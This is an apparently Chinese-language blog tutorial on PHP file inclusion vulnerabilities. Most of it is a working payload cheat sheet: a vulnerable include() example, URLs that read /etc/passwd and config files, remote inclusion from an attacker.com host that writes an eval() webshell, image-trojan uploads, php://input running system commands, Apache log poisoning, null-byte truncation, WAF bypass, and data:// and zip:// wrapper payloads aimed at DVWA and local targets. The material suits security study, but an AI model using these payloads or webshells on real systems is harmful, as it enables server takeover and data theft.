web安全之文件包含

文件包含

文件包含定义与简单理解:

在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多。

包含文件的函数

PHP常见的导致文件包含的函数如下:include(),include_once(),require(),require_once(),fopen(),readfile()

举例

include.php:

<?php
$i=$_GET["name"];
include($i);
?>

phpinfo.txt:

<?php
phpinfo();
?>

payload:http://127.0.0.1/?include.php?name=phpinfo.txt
直接打开127.0.0.1/phpinfo.txt是不执行的,还是会被当作txt显示源码,但是通过构造payload就可以。但这并不是安全的,可以留后门,利用包含漏洞来连接菜刀或蚁剑,拿到webshell

远程包含本地包含区别和原理:
php.ini设置allow_url_include开关
设置为on代表可以远程包含:比如http://127.0.0.1/?include.php?name=http://127.0.0.1/phpinfo.txt

拓展

1.读取敏感文件

访问URL:http://www.xxser.com/index.php?page=/etc/passwd
如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。

2.远程包含Shell

如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如:http://www.attacker.com/echo.txt,代码如下:

<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>

访问:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:

<?php eval($_POST[xxser]);?>

3.本地包含配合文件上传

假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg
图片代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
访问URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php。

4.使用PHP封装协议

4.1 使用封装协议读取PHP文件
例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
访问URL,得到经过Base64加密后的字符串,这段代码就是Base64加密过后的PHP源代码,解密后就可得到原本的“样貌”。
4.2 写入PHP文件(或者远程被包含的文件中含有写入执行的php代码)
在allow_url_include为On时,构造URL:http://www.example.com/index.php?page=php://input,并且提交数据为:<?php system('net user');?>
会得到net user命令的结果。

5.包含Apache日志文件

本地文件包含的利用。
Apache有两个日志文件:access.log(访问日志)和error.log(错误日志)。
攻击者先访问http://www.example.com/<?php phpinfo();?>,操作这一步时,需要Burp,否则<,>,空格都会被转码。
随后访问http://www.xxser.com/index.php?page=./…/Apache-20/logs/access.log
使用这种方式时,找到Apache的路径是关键。

6.截断包含

<?php if(isset($_GET['page'])){ include $_GET['page'].".php"; }else{ include 'home.php'; } ?>

如果此时存在一个图片木马,名为1.jpg,可以输入如下URL:http://www.example.com/index.php?page=1.jpg%00
当然这种方法只适用于magic_quotes_gpc=Off的情况下。

7.绕过WAF防火墙

图片木马一般不会被web杀毒软件查出来。
想办法上传一个文件,包含有后门,然后引用就可以了

PHP伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

伪协议后文件必须是绝对路径

file

条件:allow_url_fopen: off/on allow_url_include: off/on

Linux	:http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd		绝对路径
Windows	:http://192.168.6.128:8001/vulnerabilities/fi/?page=file:///C:\DVWA-master\vulnerabilities\fi\1.txt		绝对路径

php

php://伪协议,主要为php://input与php://filter
php://input:将POST输入流当做PHP代码执行。其只受   allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。

php://filter伪协议:不受   allow_url_fopen与allow_url_include参数的影响

http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=./1.txt		相对路径
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=file:///C:\DVWA-master\vulnerabilities\fi\1.txt		绝对路径
http://127.0.0.1/FI/LFI.php?file=php://filter/resource=file:///etc/passwd

此协议主要用于读取php源代码时会用到
http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=./1.txt			以base64编码将文件内容输出

zip

条件:allow_url_fopen: off/on 		allow_url_include: off/on
	1 、现将要执行 php 代码写好并且命名为 a.txt,将 a.txt 进行 zip 压缩,命名为 a.zip,如果可以上传 zip 文件便直接上传,如若不能可将 a.zip 命名为 a.jpg 上传;
	2 、将 a.php 直接压缩成 a.bz2

http://127.0.0.1/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.zip%23a.txt 
http://127.0.0.1/FI/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.jpg%23a.txt

phar

条件:allow_url_fopen: off/on 		allow_url_include: off/on	 php 版本大于等于php5.3.0

data

allow_url_fopen: on 			allow_url_include: on

http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain,<?php phpinfo();?>
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

input

条件:allow_url_fopen:off/on allow_url_include:on

http://127.0.0.1/LFI.php?file=php://input	
	用post方式提交这个数据 <?php phpinfo()?>

http

allow_url_fopen与allow_url_include同时开启。缺一不可

http://localhost/test.php?file=http://www.baidu.com

以上部分笔记参考资料。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值